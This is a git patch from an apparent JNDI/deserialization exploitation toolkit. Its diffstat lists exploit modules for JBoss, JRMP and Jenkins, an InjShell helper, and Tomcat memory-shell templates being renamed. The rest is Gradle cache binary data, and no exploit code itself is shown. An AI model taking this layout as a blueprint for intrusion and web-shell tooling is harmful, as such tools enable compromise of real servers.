From 27d53bc1316b681d86435ecfee2b04c9e837e107 Mon Sep 17 00:00:00 2001 From: qi4L Date: Wed, 24 Jul 2024 15:38:01 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=20Exploit?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gradle/8.7/checksums/checksums.lock | Bin 17 -> 17 bytes .../8.7/executionHistory/executionHistory.bin | Bin 1295889 -> 1295889 bytes .../executionHistory/executionHistory.lock | Bin 17 -> 17 bytes .gradle/8.7/fileHashes/fileHashes.bin | Bin 164333 -> 165333 bytes .gradle/8.7/fileHashes/fileHashes.lock | Bin 17 -> 17 bytes .../8.7/fileHashes/resourceHashesCache.bin | Bin 90784 -> 92348 bytes .../buildOutputCleanup.lock | Bin 17 -> 17 bytes .gradle/buildOutputCleanup/outputFiles.bin | Bin 18983 -> 19019 bytes .gradle/file-system.probe | Bin 8 -> 8 bytes build.gradle | 2 +- .../com/qi4l/jndi/controllers/ysoserial.java | 1 - .../java/com/qi4l/jndi/exploit/JBoss.java | 4 +- .../com/qi4l/jndi/exploit/JMXInvokeMBean.java | 4 +- .../com/qi4l/jndi/exploit/JRMPClient.java | 4 +- .../com/qi4l/jndi/exploit/JRMPListener.java | 5 +- src/main/java/com/qi4l/jndi/exploit/JSF.java | 4 +- .../com/qi4l/jndi/exploit/JenkinsCLI.java | 4 +- .../qi4l/jndi/exploit/JenkinsListener.java | 4 +- .../com/qi4l/jndi/exploit/JenkinsReverse.java | 4 +- .../com/qi4l/jndi/gadgets/Config/Config.java | 2 +- .../com/qi4l/jndi/gadgets/utils/InjShell.java | 44 +----------------- .../qi4l/jndi/gadgets/utils/StringUtil.java | 2 +- .../{TSMSFromJMXF.java => TFMSFromJMX.java} | 4 +- ...FromRequestF.java => TFMSFromRequest.java} | 4 +- ...MSFromThreadF.java => TFMSFromThread.java} | 4 +- .../{TLMSFromJMXLi.java => TLMSFromJMX.java} | 4 +- ...SFromThreadLi.java => TLMSFromThread.java} | 4 +- .../{TSMSFromJMXS.java => TSMSFromJMX.java} | 4 +- ...FromRequestS.java => TSMSFromRequest.java} | 4 +- ...MSFromThreadS.java => TSMSFromThread.java} | 4 +- ...{TUGMSFromJMXuP.java => TUGMSFromJMX.java} | 4 +- 31 files changed, 40 insertions(+), 80 deletions(-) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TSMSFromJMXF.java => TFMSFromJMX.java} (98%) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TFMSFromRequestF.java => TFMSFromRequest.java} (98%) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TFMSFromThreadF.java => TFMSFromThread.java} (96%) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TLMSFromJMXLi.java => TLMSFromJMX.java} (96%) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TFMSFromThreadLi.java => TLMSFromThread.java} (94%) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TSMSFromJMXS.java => TSMSFromJMX.java} (96%) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TFMSFromRequestS.java => TSMSFromRequest.java} (99%) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TFMSFromThreadS.java => TSMSFromThread.java} (95%) rename src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/{TUGMSFromJMXuP.java => TUGMSFromJMX.java} (97%) diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index c170383fc23f24e774c73ec049d0bee8d0ca09b7..0f3b7d4185708a28b4c6f8d38df5a982644166d5 100644 GIT binary patch literal 17 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 literal 17 UcmZQ>dGjUQrSpIr0|e*;06S9z!2kdN diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index 54a61ad055f2a9feb17eb8806353bf8376cbde78..6489e71f33bc5db20198b593b77d0085d3137d90 100644 GIT binary patch delta 6081 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 delta 4789 zcmZXY4_u9B8^_&GrGJW?tj@7i{!Uav%94c8%2X4IkX|Fk#IUqhX+!@c=jA76sn)z^ zA!ohM>!r`c&Z!fVMwhL^VYexCcjKRzGs&*z-;?S8J`b=}wXT+jVHPtAFD zZP|7QhP#pr27lK?Tf;ujza@jQuak}8!QlFChEu^~tw|P!Y$d_ixs^;Zj0lSdX)_dE znjsm;)piSm-Ho}P@>)xBT9Ox8lLiYC4!4t}AL36ESLB`~E;w|O43XpP$s~J^ysvK- zI}apleqHfRsKt%e)tx$#!T~uAy*jDmt;=gYU zc~*HUC|xtO$(*+}O3M{jsiiOd^j!D4Cl`(>Pt{I;@-~;WqUQyo^RNvx z8m&_gX>T{>M`cFTxAUVnsUJEzXG5zc<1?_$xoCE{?La|4S=ZTx5#=-CkFu-fd4<_o(y4=UvCzC9J-4fGh4(ON_ou zT;#`E;$!RKxW_u@(b)5SYxY^*(#x99saauPkA0(<akaT{9}pSq$eou(*`$9AIUM;SA1^e$Oe@kN?^1hEI_Nk zdQh>>+5I=CK_xGU@4p2v4@%{kxU*+WQLw_2;|rcA%T+4-N`c^DJTQ^*Q&?bhlVNCiI(*d@rsT!xSE0y{LQ5QMSBS6n{^M^v#{Lc<#mIq~@zzzp&(r1=LbW#p*7a&Jj(<@xmpB@;T2V zEXTU6uc)Tmnwm;7_j~7cza#c{>vijBQB`z@#rHu;11@mI5~k>T`gO(i{0HOHPp1z3 zEqDGBuZBoFu2`lh=(4)l!6Jy)YbCscc$=)o9D!?4L{YiUOiF3!u-c5;Nwn*(1WDc1 z`A^xrwFy=C>3p|Qd_IHCOaA)OL=DE$X|<(3N8BhL=by+ExD_=5x8tF}FX0)?ZAW+>Q@pn07Vfi&u&eAK`Vl+4XT0bXV2Y>PBx0pPd`}`Ie0uP`{;6b!a zrj64<1znW9X^SYs22Q0kJ>L-S_9!NXa6iY8D)0ePvZ>f8tlDu|9D0PVW4PdVgbMr< zD+E481;@Hvv#i3*96UMbh#8Olmudbd2vMpCP{<1LEV0C6362>R>jk!8lP2fvt zgxdtV{jEAWI-vio_+7onN5pM~4hxJ=}0Jg4`|)*)#k5BoFH#F0y=6nG0)1>S|zBrg3G;{>*0rNBqn zE$}hU3w#3ma4vg-V1du@p}-d?rKqgAo<43V!^&PyKGWbqI9qhREv(*QF6#RrKwv*4 z3+%5}u=*XAO8o%*D2@!o-vS52FM@j+jwFGjutnfF)Cru3X9B}9D3Zxcn~)%|2!$N$ zOsM5pKN*h&PC?dldVPmXmNaT=Q7pC2pQ0*Ca>k0ul9RI0)W;)dGGEnf92S_UT;1x8 zu|7$;LoiH6w7{jv7MOx+ifWLREJzoEl=o>@OH+6Ow?I3E``C&If!mNSa0m7aEJ3Tl zGH9Z>tO8*a)gYBDh*ua=k|cUxkK#dAV~?=Tz(s+d!6BOa$U_K6<2|HA(;oMlW^#Du zJkVj+4;S{IJ@=Hhta@`%9x&;c;Dx=>tjFv3qnT=z_@>|3QL7ZSNqWcd@NZ&d3=i}M z9?qb(|2&5GLpSUchq|LtpbN-*T%g4;f$o?u&;t-y1+&0|crH)_@2T8_v%YDr4yjXl z#2zRTM|$A6Km-1us1}hw>RL=wpBFGTmS<6oxLEE|W;=XEEcf{z)QCez@laqLJg0G= zW?q=*>Q1wC8oR^Q(^ms!*bLJbeW1ZEI;}R|3CL8a;%VIFXnc&G)9HzEd4WaC&y%R^ zkU%G2+gkdLq?{PzAIz1*6~s>GC#D%0)47}Ts1kS;Hz=x^()SEyI0WjOmTNF%249u( zfm!8LhfQTA{I(I*L8=BTn3jsu%FS@LTQfTw9y-_ zT+_H3nq($#+#rV~OL0W8FrGpAA~sF2nWB=1v65JHs?PK7XMK`mdsjLspKzJ&1SAPa+9L>e36u1Ld1(v{R4G&$4aTHb070k0^ zJED6~&zsh;#y9f^HTOgo@fe*~&-G!P7haCwLml0}`lYcZH`gFIjR&Z~hXRkIRG=AW z1fGG_Cwv9`pBAo;$eKy-1~H%TNEeYzP1K-QutVTA{3x(hUzD$dHl2sR1;2D|--aZC zPq2len(7Ods`F`<()DzfY6D^O-4andSklPOpGs%dCTMU+TL$yk&mE zRGc^XFekPJ`ox(UoX%uPGz`IQVLTMtEbhV|5ds5{{u1|7bW*$pGH-6m|4DrQ4}7WN ATmS$7 diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index 2b68264ec8f013d51b6dbe3a71f7608d875d422b..e28c442b5ad5c9411887c0ca092b57c24b98ff95 100644 GIT binary patch literal 17 VcmZR+d$zvH^H97W0~iQ>0026L1z`XH literal 17 VcmZR+d$zvH^H97W0~qlA0026L1!VvL diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index 3922616fc598ecbbd6e7bf836ec7c66a465d0775..6b8ed927eca0e24fa763e71ee24fd317bceba8b7 100644 GIT binary patch delta 2052 zcmZvc3p7+|9Ke0kAkS|w!;Gv}^zh7M$osJ&DZRXkC66&fQ3=~x72{E!wcI43NOdS` zrdvA^ZC;hFFdi#<5sI~lY$eH#y;sgLd(XM&-1GZ>|Nr;D|NFmRVS{KDUz9_qf?3p< z$_DVoemx7oxh*nx0Tux*rwsw2HPrrJX}3Hj=>-&cpwwUn@3Wv5-PV~`b$Mwv(~fs7>O z*3`tyc+Nd&l-W1|PLoA@d`3+0oOcl)%iPuGO6*Xs*m0cgoW-vm&rV{>beJ5*8D7YU zr5fDiu9X`xX@|3OsHl~oCY^{leJLrtOMz<;7u#*5!BL0KTTx$PFq8ET&9;puz(X4f z&Dpi(7!0PPqU%!t)Q$^$rZJI#Lk~2`J_``mPUVcQ2a2eTlU*cGMc7p}kQXU)_fh_H 